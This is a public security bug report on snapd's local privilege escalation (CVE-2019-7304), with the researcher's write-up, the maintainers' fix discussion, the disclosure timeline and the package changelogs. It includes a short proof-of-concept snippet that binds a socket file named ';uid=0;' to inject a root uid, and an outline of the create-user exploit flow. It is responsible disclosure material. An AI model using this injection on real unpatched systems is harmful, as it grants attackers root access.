Local privilege escalation via snapd socket

Bug #1813365 reported by Chris Moberly on 2019-01-25
268
This bug affects 1 person
Affects Status Importance Assigned to Milestone
snapd
High
Zygmunt Krynicki
snapd (Ubuntu)
Status tracked in Disco
Trusty
High
Unassigned
Xenial
High
Unassigned
Bionic
High
Unassigned
Cosmic
High
Unassigned
Disco
High
Unassigned

Bug Description

NOTE: Hello, snap team! The below is my full technical write up. My apologies if this is too much info or the wrong format, I figured I would include the entire thing as is. I hope this is helpful. I would like to disclose publicly after you have patched.

Thanks for your hard work!!!

======================================================================

# Overview
Current versions of Ubuntu Linux are vulnerable to local privilege escalation due to a bug in the snapd API. This local service installs by default on both "Server" and "Desktop" versions of Ubuntu and is likely included in many Ubuntu-like Linux distributions.

Any local low privilege user can exploit this vulnerability to obtain immediate root access to the server.

An exploit is attached that works 100% of the time on fresh, default installations of Ubuntu Server and Desktop.

Researcher: Chris Moberly @ The Missing Link Security

# Background
In an attempt to simplify packaging applications on Linux systems, various new competing standards are emerging. Canonical, the makers of Ubuntu Linux, are promoting their "Snap" packages. This is a way to roll all application dependencies into a single binary - similar to Windows applications.

The Snap ecosystem includes an "app store" like experience (https://snapcraft.io/store) where developers can contribute and maintain ready-to-go packages.

Management of locally installed snaps and communication with this online store are partially handled by a systemd service called "snapd" (https://github.com/snapcore/snapd). This service is installed automatically in Ubuntu and runs under the context of the "root" user.

# Vulnerability Overview

## Interesting Linux OS Information
The snapd service is described in a systemd service unit file located at /lib/systemd/system/snapd.service.

Here are the first few lines:

```
[Unit]
Description=Snappy daemon
Requires=snapd.socket
```

This leads us to a systemd socket unit file, located at /lib/systemd/system/snapd.socket

The following lines provide some interesting information:

```
[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666
```

This tells us that two socket files are being created and that they can be written to by any user on the system.

We can verify this by looking at the sockets inside the file system:

```
$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket
```

Interesting. We can use the Linux "nc" tool (as long as it is the BSD flavor) to connect to AF_UNIX sockets like these. The following is an example of connecting to one of these sockets and simply hitting enter.

```
$ nc -U /run/snapd.socket

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request
```

Even more interesting. One of the first things an attacker will do when compromising a machine is to look for hidden services that are running in the context of root. HTTP servers are prime candidates for exploitation, but they are usually found on network sockets, possibly attached to 127.0.0.1.

This is enough information now to know that we have a good target for exploitation - a hidden HTTP service that is likely not widely tested as it is not readily apparent using most automated privilege escalation checks.

## Vulnerable Code
Being an open-source project, we can now move on to static analysis via source code. The developers have put together excellent documentation on this REST API available here: https://github.com/snapcore/snapd/wiki/REST-API.

The API function that stands out as highly desirable for exploitation is "POST /v2/create-user", which is described simply as "Create a local user". The documentation tells us that this call requires root level access to execute.

Reviewing the trail of code brings us to this file: https://github.com/snapcore/snapd/blob/master/daemon/ucrednet.go.

Let's look at this line:

```
ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
```

This is calling one of golang's standard libraries to analyze the ancillary data passed via the kernel's socket operations. This is a fairly rock solid way of determining the permissions of the process accessing the API.

Using a golang debugger called delve, we can see exactly what this returns while executing the "nc" command from above. Here is the delve details when we break at the function above:

```
> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
   109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110: if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}
```

That looks pretty good. It sees my uid of 1000 and is going to deny me access to the sensitive API functions. Or, at least it would if these variables were called exactly in this state. But they are not.

Instead, some additional processing happens in this function:

```
func (wc *ucrednetConn) RemoteAddr() net.Addr {
 return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}
```

...and then a bit more in this one:

```
func (wa *ucrednetAddr) String() string {
 return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}
```

..and is finally parse by this function:

```
func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
 for _, token := range strings.Split(remoteAddr, ";") {
  var v uint64
...
  } else if strings.HasPrefix(token, "uid=") {
   if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
    uid = uint32(v)
   } else {
    break
}
```

What this last function does is split the string up by the ";" character and then look for anything that starts with "uid=". As it is iterating through all of the splits, a second occurrence of "uid=" would overwrite the first.

If only we could somehow inject arbitrary text into this function...

Going back to the delve debugger, we can take a look at this "remoteAddr" string and see what it contains during a "nc" connection that implements a proper HTTP GET request:

Request:

```
$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1
```

Debug output:

```
github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 41: for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"

```

If we imagine the function splitting this string up by ";" and iterating through, we see that there are two sections that could potentially overwrite the first "uid=", if only we could influence them.

The first ("socket=/run/snapd.socket") is the local "network address" of the listening socket - the file path the service is defined to bind to. We do not have permissions to modify snapd to run on another socket name, so it seems unlikely that we can modify this.

But what is that "@" sign at the end of the string? Where did this come from? The variable name "remoteAddr" is a good hint. Spending a bit more time in the debugger, we can see that a golang standard library (net.go) is returning both a local network address AND a remote address. You can see these output in the debugging session below as "laddr" and "raddr".

```
> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210: func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
 laddr: net.Addr(*net.UnixAddr) *{
  Name: "/run/snapd.socket",
  Net: "unix",},
 raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}
```

There is no remote address name, as we are simply using netcat to make the connection. The "@" symbol could be related to the concept of an abstract namespace for Unix domain sockets, as these start with that character.

The whole concept of ancillary socket data that snapd's permission model relies on can be abused here. We can certainly influence that remote address, because that remote address is US!

Using some simple python code, we can create a file name that has the string ";uid=0;" somewhere inside it, bind to that file as a socket, and use it to initiate a connection back to the snapd API.

Here is a snippet of the exploit POC:

```
# Setting a socket name with the payload included
sockfile = "/tmp/sock;uid=0;"

# Bind the socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)

# Connect to the snap daemon
client_sock.connect('/run/snapd.socket')

```

Now watch what happens in the debugger when we look at the remoteAddr variable again:

```
> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 41: for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

```

There we go - we have injected a false uid of 0, the root user, which will be at the last iteration and overwrite the actual uid. This will give us access to the protected functions of the API.

We can verify this by continuing to the end of that function in the debugger, and see that uid is set to 0. This is shown in the delve output below:

```
> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 65: return pid, uid, socket, err
...
(dlv) print uid
0
```

# Weaponizing
With the knowledge to bypass the user access checks, developing a working exploit is possible. We will target the "create-user" function, as it eventually uses this file to run Linux shell commands to create a new user, complete with sudo rights and all: https://github.com/snapcore/snapd/blob/6e2c5d88d971e101d4fb24d20244cb208a18dd05/osutil/user.go.

*NOTE: This module looks suspiciously vulnerable to OS command injection, as well. As the function itself creates users with root privileges, I did not bother to exploit those, but this should be thoroughly reviewed as well. Please sanitise all inputs to OS commands!!!*

This function can create a local Linux user based on a username and an SSH key that are registered in the Ubuntu's snap developer portal. Anyone can create an account here, so this is not a limiting factor. To exploit using this POC, simply create an account at https://snapcraft.io/, log in, and upload an SSH public key. Then, run the exploit like this with the corresponding private key as file "id_rsa":

**IMPORTANT: YOU MUST CREATE AN UBUNTU ACCOUNT ONLINE AND UPLOAD AN SSH KEY TO EXPLOIT**

dirty_sock.py -u "<email address hidden>" -k "id_rsa"

The exploit will do the following:

- Generate a random name for the sock file, including the "dirty sock" of ";uid=0;"
- Create a socket bound to this file
- Initiate a connection from the dirty sock to the snapd API
- POST the correct specs to /v2/create-user
    - snapd queries the Ubuntu developer portal to gather the username and SSH public key associated with the account your provide
    - snapd creates a local Linux user based on those details
- Verify a successful response
- SSH to localhost using the new account and your SSH private key

From this new account, you can execute "sudo" commands with no password.

# Protection / Remediation
As far as fixing this, the snap folks will know better than I what the best route is. I would advise sticking with the variables output from the golang standard libary - get rid of all that concatinating and re-parsing stuff in ucrednet.go.

Thanks for reading!!!

CVE References

Chris Moberly (chris.moberly) wrote :
description: updated
description: updated
description: updated
description: updated
Seth Arnold (seth-arnold) wrote :

Hello Chris, thank you for contacting us. This is absolutely beautiful work, well done. I'll get the snapd team working on this.

Thanks

Changed in snapd:
importance: Undecided → Critical
no longer affects: ubuntu
Zygmunt Krynicki (zyga) on 2019-01-26
Changed in snapd:
status: New → Triaged
assignee: nobody → Zygmunt Krynicki (zyga)
Zygmunt Krynicki (zyga) wrote :

Interestingly this doesn't affect my openSUSE system since we've used "adduser" which is not used in this family of systems.

I second Seth's comment, this some fantastic work Chris.

Zygmunt Krynicki (zyga) wrote :

I've attached a quick fix for this issue and confirmed it prevents the attack.

Zygmunt Krynicki (zyga) wrote :
Changed in snapd:
status: Triaged → In Progress
John Lenton (chipaca) wrote :

Discussing this with Zyga right now. We might do something different, and drop the current approach entirely.

John Lenton (chipaca) wrote :

This is what we discussed.

Zygmunt Krynicki (zyga) wrote :

+1 on John's patch.

Chris Moberly (chris.moberly) wrote :

Wow, this was a fast response. Definitely the most pleasant disclosure experience I have had. Great work!

This does appear to fix the issue.

I know very little about golang myself, though, and I am still curious as to why this line is necessary:

```
return fmt.Sprintf("pid=%s;uid=%s;socket=%s;", wa.pid, wa.uid, wa.socket)
```

The pid, uid, and socket variables are already set nicely by the standard library. Is there a reason to concatenate them into this string and then pull them apart again later? Would it not be easier and safer to simply pass the object as is and continue to reference them individually?

I'm sure there is probably some other requirement that I just don't see.

Anyway, again great work and thank your for being so kind and addressing this so quickly.

Have a great weekend!

- Chris

Zygmunt Krynicki (zyga) wrote :

Hey Chris! We are very grateful for such a fantastic and responsible disclosure.

As for your question, AFAIR the problem was encapsulation.

In golang, everything that is capitalised is a public interface and can be accessed from other packages (roughly directories translate to packages). Anything that is not capitalised is private and can be only accessed from the package it belongs to.

The standard golang abstraction around UNIX sockets simply doesn't expose the peer credentials directly so we had to hack around in a way that would still be compatible with the rest of the standard library.

Chris Moberly (chris.moberly) wrote :

Hi Zygmunt,

Thank you for the fast and detailed response. That makes perfect sense.

Keep up the great work!

Jamie Strandboge (jdstrand) wrote :

FYI, we are still discussing disclosure of this bug and the timing of fixes, etc so please consider it embargoed (private) for the time being. Thanks for the report and the response of the snapd team.

Changed in snapd:
importance: Critical → High
Jamie Strandboge (jdstrand) wrote :

Chris, thanks again for your thorough report. We are now working through disclosure with the other distros, obtaining a CVE assignment, etc and will of course give full attribution to you on the coordinated release date (still TBD).

Chris Moberly (chris.moberly) wrote :

Hi Jamie,

Thank your for the follow-up! I will wait to hear back from you and the team.

Have a great day!

- Chris

Zygmunt Krynicki (zyga) wrote :

Attaching regression testing patch

Jamie Strandboge (jdstrand) wrote :

FYI, I'm in the process of requesting a CVE and sent an email to the affected distributions for a CRD.

Changed in snapd (Ubuntu Cosmic):
importance: Undecided → High
Changed in snapd (Ubuntu Bionic):
importance: Undecided → High
Changed in snapd (Ubuntu Xenial):
importance: Undecided → High
Changed in snapd (Ubuntu Trusty):
importance: Undecided → High
status: New → In Progress
Changed in snapd (Ubuntu Xenial):
status: New → In Progress
Changed in snapd (Ubuntu Bionic):
status: New → In Progress
Changed in snapd (Ubuntu Cosmic):
status: New → In Progress
Changed in snapd (Ubuntu Disco):
status: New → Triaged
importance: Undecided → High
Jamie Strandboge (jdstrand) wrote :

The issue can be considered semi-public since a public commit refactored the offending code and fixed the issue along the way: https://github.com/snapcore/snapd/pull/6443 and the followup https://github.com/snapcore/snapd/pull/6447. This information was included in the coordination email with the other distributions.

Since the public commits do not reference this vulnerability, keeping this bug private until the agreed upon CRD (which is tentatively set for 2019-02-06 16:00 UTC. If that changes, I will update the bug). I will also make the bug public at the appropriate time.

Chris Moberly (chris.moberly) wrote :

Hi Jamie,

Thanks for the detailed update. Is the CRD the date when you are comfortable with me discussing the bug publicly, or is that a defined time after the CRD?

Jamie Strandboge (jdstrand) wrote :

Chris, the CRD is the date that the issue is considered public and once public, feel free to discuss publicly. An easy way for you to keep track of this is simply watching for when I mark this bug as Public Security.

Thanks again for the report and responsibly disclosing the issue.

Gustavo Niemeyer (niemeyer) wrote :

As others have said, thanks for the careful disclosure Chris!

For the record, this bug exists only between versions 2.28 and 2.37.0 of snapd.

Jamie Strandboge (jdstrand) wrote :

FYI, Fedora has not yet updated EPEL to 2.37.1, but I'm told it will happen today. The CRD is still set for 2019-02-06 16:00 UTC, but I may delay if Fedora is not updated yet. Please watch for when I mark this bug Public before disclosing the information. Thanks!

Chris Moberly (chris.moberly) wrote :

Thanks Jamie!

Jamie Strandboge (jdstrand) wrote :

As of now, the upload for Fedora is prepared and uploaded but due to the mechanics of the Fedora archive, I'm told the updated package won't be available to Fedora users until late Thursday. Ubuntu has a policy of not releasing updates on Friday when possible, so we are delaying the CRD until Tuesday February 13th at 16:00 UTC. As always, please watch for when I mark this bug Public before disclosing the information.

Chris, thanks again for your patience in this matter; it's really helping ensure users.

Thanks!

Jamie Strandboge (jdstrand) wrote :

> so we are delaying the CRD until Tuesday February 13th at 16:00 UTC

Whoops, I meant Tuesday February 12th at 16:00 UTC.

Chris Moberly (chris.moberly) wrote :

OK, sounds good. Thanks Jamie!

Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.35.5+18.10.1

---------------
snapd (2.35.5+18.10.1) cosmic-security; urgency=medium

  * SECURITY UPDATE: local privilege escalation via improper input validation
    of socket peer credential (LP: #1813365)
    - daemon/ucrednet.go: utilize regex for validating and parsing remoteAddr.
      Patch thanks to John Lenton
    - CVE-YYYY-NNNN

 -- Jamie Strandboge <email address hidden> Tue, 29 Jan 2019 17:39:19 +0000

Changed in snapd (Ubuntu Cosmic):
status: In Progress → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.34.2ubuntu0.1

---------------
snapd (2.34.2ubuntu0.1) xenial-security; urgency=medium

  * SECURITY UPDATE: local privilege escalation via improper input validation
    of socket peer credential (LP: #1813365)
    - daemon/ucrednet.go: utilize regex for validating and parsing remoteAddr.
      Patch thanks to John Lenton
    - CVE-YYYY-NNNN

 -- Jamie Strandboge <email address hidden> Tue, 29 Jan 2019 17:54:00 +0000

Changed in snapd (Ubuntu Xenial):
status: In Progress → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.34.2+18.04.1

---------------
snapd (2.34.2+18.04.1) bionic-security; urgency=medium

  * SECURITY UPDATE: local privilege escalation via improper input validation
    of socket peer credential (LP: #1813365)
    - daemon/ucrednet.go: utilize regex for validating and parsing remoteAddr.
      Patch thanks to John Lenton
    - CVE-YYYY-NNNN

 -- Jamie Strandboge <email address hidden> Tue, 29 Jan 2019 17:50:52 +0000

Changed in snapd (Ubuntu Bionic):
status: In Progress → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.34.2~14.04.1

---------------
snapd (2.34.2~14.04.1) trusty-security; urgency=medium

  * SECURITY UPDATE: local privilege escalation via improper input validation
    of socket peer credential (LP: #1813365)
    - daemon/ucrednet.go: utilize regex for validating and parsing remoteAddr.
      Patch thanks to John Lenton
    - CVE-YYYY-NNNN

 -- Jamie Strandboge <email address hidden> Tue, 29 Jan 2019 17:55:31 +0000

Changed in snapd (Ubuntu Trusty):
status: In Progress → Fix Released
Jamie Strandboge (jdstrand) wrote :

FYI, the CVE assignment came later. This is CVE-2019-7304.

summary: - Local privilege escalation in default Ubuntu installations
+ Local privilege escalation via snapd socket
Jamie Strandboge (jdstrand) wrote :

Ubuntu 19.04 has 2.37.2, which is not affected.

Changed in snapd (Ubuntu Disco):
status: Triaged → Fix Released
Jamie Strandboge (jdstrand) wrote :

snapd upstream was fixed in 2.37.1.

Changed in snapd:
status: In Progress → Fix Released
Jamie Strandboge (jdstrand) wrote :
information type: Private Security → Public Security
Chris Moberly (chris.moberly) wrote :

Thanks again to everyone for your hard work, timely updates, and overall providing such a great disclosure experience.

See you next time!

- Chris

Gustavo Niemeyer (niemeyer) wrote :

Chris, I've just read your blog post at:

https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html

There you install a snap in devmode, which does a bunch of things to demonstrate that the snap can access system resources via the vulnerability in <2.37. Just for the record, it's slightly undue to claim that the snap is exploiting the system in that scenario, because a snap in devmode already has full access to the system anyway. No need for any exploits. If you install a snap in devmode, you gave root to the snap:

      --devmode Put snap in development mode and disable security confinement

If the snap was installed without devmode, it wouldn't not have access to the socket.

Again, thanks for the report. Just wanted to clarify this point.

Chris Moberly (chris.moberly) wrote :

Hi Gustavo,

Yes, but remember that this is a low-privilege user exploiting the bug in order to install a snap in devmode to get root.

This does indeed require an exploit, so that the install hook can execute the commands as root and add a new user. It's simply an alternative exploit to using the create-user API.

You can see the code at github.com/initstring/dirty_sock/ in the version 2.

Some of the tech journalists covering this incorrectly claimed that my exploit would be bundled inside malicious snaps. This is where there is a bit of confusion, as you're 100% right - that snap would not have access to the socket, so that is not realistic. I've tried to correct folks where I can, but I think my blog posting is still correctly describing things.

If you see something specific in the blog posting that should be corrected, please let me know.

Thanks!

Chris Moberly (chris.moberly) wrote :

^ Sorry, just to add clarity:

I am not demonstrating the exploit working from within a devmode snap. I am demonstrating a devmode snap packaged inside the exploit.

Gustavo Niemeyer (niemeyer) wrote :

Thanks for the clarification, Chris. We're in complete agreement.

To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers